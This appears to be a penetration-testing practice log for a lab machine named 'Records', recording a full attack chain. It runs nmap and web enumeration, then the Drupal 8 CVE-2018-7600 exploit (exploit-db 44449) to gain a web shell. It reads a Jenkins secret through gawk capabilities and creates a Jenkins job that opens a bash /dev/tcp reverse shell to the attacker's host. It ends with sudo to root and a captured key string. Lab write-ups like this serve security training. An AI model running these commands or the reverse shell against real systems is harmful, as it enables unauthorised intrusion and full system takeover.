Records
๐งช Pentest Log: {{date:2025-08-30}}
๐ Target Information
- Machine Name: Records
- IP Address: 10.11.1.30
- Operating System: Linux
ip=10.11.1.30
๐ก Enumeration
๐ Port Scanning
Command Used
ports=$(nmap -p- --min-rate=1000 -T4 $ip | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV $ip -oN tcp_scan_result.txt
nmap -sU --top-ports 100 $ip -oN udp_scan_result.txt
Port 21
uftpd (2.10)
Google for "uftpd (2.10) exploit", found
https://www.exploit-db.com/exploits/51000
Port 22
Port 80
Web Content Enumeration
gobuster dir -u http://$ip -w /usr/share/seclists/Discovery/Web-Content/common.txt
dirsearch -u http://$ip -r -o dirsearch.txt
wpscan --url http://$ip
Found
Drupal 8
Google for "Drupal 8 exploit". found
CVE-2018-7600
Port 3306
Port 8080
๐ฃ Exploitation
๐ Vulnerability Summary
- Service / Port: 80
- Vulnerability Type: RCE
๐ Exploit Execution
๐ง Exploit Method
Tool / Script Used:
https://www.exploit-db.com/exploits/44449
ruby 44449.rb http://$ip
๐งฌ Privilege Escalation
๐ค Current Access
- User: apache
- Groups: 48(apache)
- Shell Type: web shell
๐ Enumeration
Binary Capabilities:
getcap -r / 2>/dev/null
Found
/usr/bin/gawk = cap_dac_read_search+ep
Retrieve jenkin secret
Login jenkin on port 8080, create a reverse shell job
/bin/bash -i >& /dev/tcp/172.16.1.2/80 0>&1
Catch the reverse
python3 /home/kali/Documents/oscp/Shell\ Handler/penelope/penelope.py -p 80
๐ Privilege Escalation Exploit
๐ Exploit Summary
- Technique Used: Sudo Abuse
- Target Binary/Service: su
- Reference / Source: N/A
๐ง Exploit Steps
- Smash to root
sudo su -
- Key File
gh3f9y23jnkl8sdfmb43